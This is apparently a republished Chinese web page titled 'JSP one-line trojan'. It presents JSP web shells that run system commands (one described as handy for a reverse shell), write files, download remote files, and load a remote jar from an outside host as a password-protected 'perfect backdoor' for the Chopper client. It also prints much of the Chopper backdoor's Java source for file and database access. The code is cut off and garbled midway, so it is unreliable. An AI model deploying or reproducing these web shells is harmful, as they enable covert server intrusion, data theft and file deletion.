JSP一句话木马

2024-07-12 10:17| 来源: 网络整理| 查看: 265

保存为1.jsp 提交url为 http://localhost/1.jsp?f=1.txt&;t=hello 访问http://localhost/1.txt 出来hello

一：执行系统命令:

无回显执行系统命令：

请求：http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls

执行之后不会有任何回显，用来反弹个shell很方便。

有回显带密码验证的:

请求：http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls

二、把字符串编码后写入指定文件的：

请求：http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234

写入web目录：

请求：http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234

请求：http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234

写入web目录:

请求：http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234

三：下载远程文件(不用apache io utils的话没办法把inputstream转byte,所以很长…)

请求：http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png

下载到web路径:

请求：http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png

四：反射调用外部jar,完美后门

如果嫌弃上面的后门功能太弱太陈旧可以试试这个：

请求：http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A

菜刀连接：http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar，密码023.

解：

利用反射加载一个外部的jar到当前应用，反射执行输出处理结果。request.getParameterMap()包含了请求的所有参数。由于加载的是外部的jar包，所以要求服务器必须能访问到这个jar地址。

Load代码：

import java.io.IOException; import java.util.HashMap; import java.util.Map; import java.util.Map.Entry; /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ /** * * @author yz */ public class Load { public static String load(Map map){ try { Map request = new HashMap(); for (Entry entrySet : map.entrySet()) { String key = entrySet.getKey(); String value = entrySet.getValue()[0]; request.put(key, value); } return new Chopper().doPost(request); } catch (IOException ex) { return ex.toString(); } } }

Chopper代码：

import java.io.BufferedInputStream; import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.OutputStreamWriter; import java.lang.reflect.Method; import java.net.HttpURLConnection; import java.net.URL; import java.net.URLClassLoader; import java.sql.Connection; import java.sql.DriverManager; import java.sql.ResultSet; import java.sql.ResultSetMetaData; import java.sql.Statement; import java.text.SimpleDateFormat; import java.util.Date; import java.util.Map; public class Chopper{ public static String getPassword() throws IOException { return "023"; } String cs = "UTF-8"; String encoding(String s) throws Exception { return new String(s.getBytes("ISO-8859-1"), cs); } Connection getConnection(String s) throws Exception { String[] x = s.trim().split("\r\n"); try { Class.forName(x[0].trim()); } catch (ClassNotFoundException e) { boolean classNotFound = true; BufferedReader br = new BufferedReader(new InputStreamReader(this.getClass().getResourceAsStream("/map.txt"))); String str = ""; while ((str = br.readLine()) != null) { String[] arr = str.split("="); if (arr.length == 2 && arr[0].trim().equals(x[0].trim())) { try { URLClassLoader ucl = (URLClassLoader) ClassLoader.getSystemClassLoader(); Method m = URLClassLoader.class.getDeclaredMethod("addURL", URL.class); m.setAccessible(true); m.invoke(ucl, new Object[]{new URL(arr[1])}); Class.forName(arr[0].trim()); classNotFound = false; break; } catch (ClassNotFoundException ex) { throw ex; } } } if (classNotFound) { throw e; } } if (x[1].contains("jdbc:oracle")) { return DriverManager.getConnection(x[1].trim() + ":" + x[4], x[2].equalsIgnoreCase("[/null]") ? "" : x[2], x[3].equalsIgnoreCase("[/null]") ? "" : x[3]); } else { Connection c = DriverManager.getConnection(x[1].trim(), x[2].equalsIgnoreCase("[/null]") ? "" : x[2], x[3].equalsIgnoreCase("[/null]") ? "" : x[3]); if (x.length > 4) { c.setCatalog(x[4]); } return c; } } void listRoots(ByteArrayOutputStream out) throws Exception { File r[] = File.listRoots(); for (File f : r) { out.write((f.getName()).getBytes(cs)); } } void dir(String s, ByteArrayOutputStream out) throws Exception { File l[] = new File(s).listFiles(); for (File f : l) { String mt = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date(f.lastModified())); String rw = f.canRead() ? "R" : "" + (f.canWrite() ? " W" : ""); out.write((f.getName() + (f.isDirectory() ? "/" : "") + "\t" + mt + "\t" + f.length() + "\t" + rw + "\n").getBytes(cs)); } } void deleteFiles(File f) throws Exception { if (f.isDirectory()) { File x[] = f.listFiles(); for (File fs : x) { deleteFiles(fs); } } f.delete(); } byte[] readFile(String s) throws Exception { int n; byte[] b = new byte[1024]; BufferedInputStream bis = new BufferedInputStream(new FileInputStream(s)); ByteArrayOutputStream bos = new ByteArrayOutputStream(); while ((n = bis.read(b)) != -1) { bos.write(b, 0, n); } bis.close(); return bos.toByteArray(); } void upload(String s, String d) throws Exception { String h = "0123456789ABCDEF"; File f = new File(s); f.createNewFile(); FileOutputStream os = new FileOutputStream(f); for (int i = 0; i < d.length(); i += 2) { os.write((h.indexOf(d.charAt(i)) 5 ? x[5] : x[4] : null, "%", new String[]{"TABLE"}); while (r.next()) { out.write((r.getObject("TABLE_NAME") + "\t").getBytes(cs)); } r.close(); c.close(); } void getTableColumn(String s, ByteArrayOutputStream out) throws Exception { String[] x = s.trim().split("\r\n"); Connection c = getConnection(s); ResultSet r = c.prepareStatement("select * from " + x[x.length - 1]).executeQuery(); ResultSetMetaData d = r.getMetaData(); for (int i = 1; i

【本文地址】

公司简介

联系我们